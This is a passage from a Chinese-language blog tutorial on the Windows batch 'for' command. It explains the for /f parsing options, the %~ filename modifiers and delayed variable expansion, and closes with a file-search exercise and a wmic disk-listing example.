注:命令集需用單引號括起來以表示不是文件集,如用雙引號括起來則表示是字符串集,本例是爲了說明for命令的用法,真正有這種用途也願意用前面“題外 話”的方法。如果你在執行本例後什麼也沒顯示,你需要先用集裏的命令先執行一次,看它顯示的格式,也許需要把tokens=5 改成tokens=4 或許還應當給dir加上參數 /a-d以迴避顯示出目錄。
如果集裏是由多個文件組成,那麼處理完一個文件後又處理完又去處理另一個文件,每個文件行數不同循環次數(do命令的次數)也將因此不同。
如果集裏是由命令產生的系統,那麼你必須首先熟悉該命令執行後會產生怎樣效果的字符系統,才能正確安排後面的do命令

畫龍點睛: 無論in後的集是哪種形式,for/f 都最終分解字 符串 ,按需要是否“忽略幾行 ” (skip=)、“用什麼刀來切分 ” (delims= )、“最多隻需取哪幾段 ”(tokens=)將集裏形成的字符串,逐行分 段賦給 %或%%後的變量及可能順延擴展出的變量 ,以執行 do 後 的命令 ,每一行 即爲循 環 。 這裏沒完整說明全部參數,請在命令行用for/?查看。(下面的斜體字是複製的幫助裏的內容)
例如:
對於帶有空格的文件名,您需要用雙引號將文件名括起來。爲了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字符串的。—— 換句話說,帶有usebackq (放在 for /f 之後的引號裏)參數時 in ()裏用雙引號表示的仍是文件名。
還有一個選項eol= :
前面所說skip=是表示忽略開始的幾行,其實默認狀況還忽略所有分號“ ; ” 開始的行,如果你想不忽略分號開始的行,或者想忽略自己指定一字符開始的行就可以在for /f 之後那引號參數裏使用eol=你自己定義的字符,但它不像delims=的那樣可定義多個,只允許定義一個。

另一花樣:可以用 %~ 操作符將文件名分離成文件名、擴展名、盤符等獨立部分 ,請看for/?中的解釋(其中示例的變量爲%I):
另外,FOR 變量參照的替換已被增強。您現在可以使用下列選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變量的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變量名
未被定義,或者沒有找到文件,此組合鍵會擴充到空字符串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:I - 查找列在路徑環境變量的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

簡記:凡是 %~ 打頭的操作符,都是文件名或環境變量的分離操作。而每項要想運用自如,則需要付出辛勤的練習。

練習: (我偷點懶,自己不作了...)
遍歷C、D盤,查找已知文件名(接收鍵盤輸入),把其存放位置、時間,記錄到D:/mynote.txt 記錄格式如:

xx年xx月xx日 經查找在C盤、D盤的xx文件情況如下:
時間             位置
。。。。。 。。。。。。
。。。。。 。。。。。。
。。。。。 。。。。。。


提示:可能用到的DOS命令、變量、參數: echo、set 、set/p 、%date%、%~    >、>>  

總結及提示:
for 命令的實際用法基本上已終結,但是僅此是不能寫出強大功能的批處理的,它只是一條DOS命令,需要熟練一些其他的DOS命令和Windows系統提供的命 令,組合運用,才能充分發揮其強大、實用的功能,使得一些複雜事情,處理起來意想不到的簡潔方便。

附:常見在批處理for命令中需要的一個的命令或者叫環境設置:
for命令實際上是會作循環,如果在每輪的命令中改變某環境變量值,在默認狀態,一條for命令用%環境變量%只取一次值的,那麼下輪 循環中再用時還是改變前的值(包括do後面帶有括號裏的多條命令的執行期間),就沒達到預期目的,爲此,引入下面命令:
setlocal enabledelayedexpansion
開始批處理文件中環境改動的本地化操作,並啓動延緩環境變量擴展。在執行SETLOCAL 達到批處理文件結尾時,對於該批處理文件的每個尚未執行的 setlocal 命令,都會有一個隱含的 endlocal 被執行。
在取變量值時,用!變量名!可以動態取值,延遲環境變量擴充允許您使用一個不同的字符(驚歎號)在執行時間擴充環境變量。這個用法實際是屬於在批處理中所 有複合型命令都需要注意的。如果批處理結束後不希望將改變的環境保留,建議總是加上setlocal
要是結合一些其他複雜些的有關係統的、網絡的命令(如wmic、net)進來,那纔是方顯FOR英雄本色,比如遍歷本地磁盤 可 以用命令:wmic logicaldisk where "drivetype=3" get name 顯然要在所有磁盤裏查找某文件並作相應操作就很容易了,用好for命令也是需要其他命令和計算機基礎配合的。呵呵,本人水平有限,寫的只是低級層次 的...但願能對有緣來這裏看的初學DOS的FOR命令者有所幫助。

發佈了67 篇原創文章 · 獲贊 10 · 訪問量 13萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章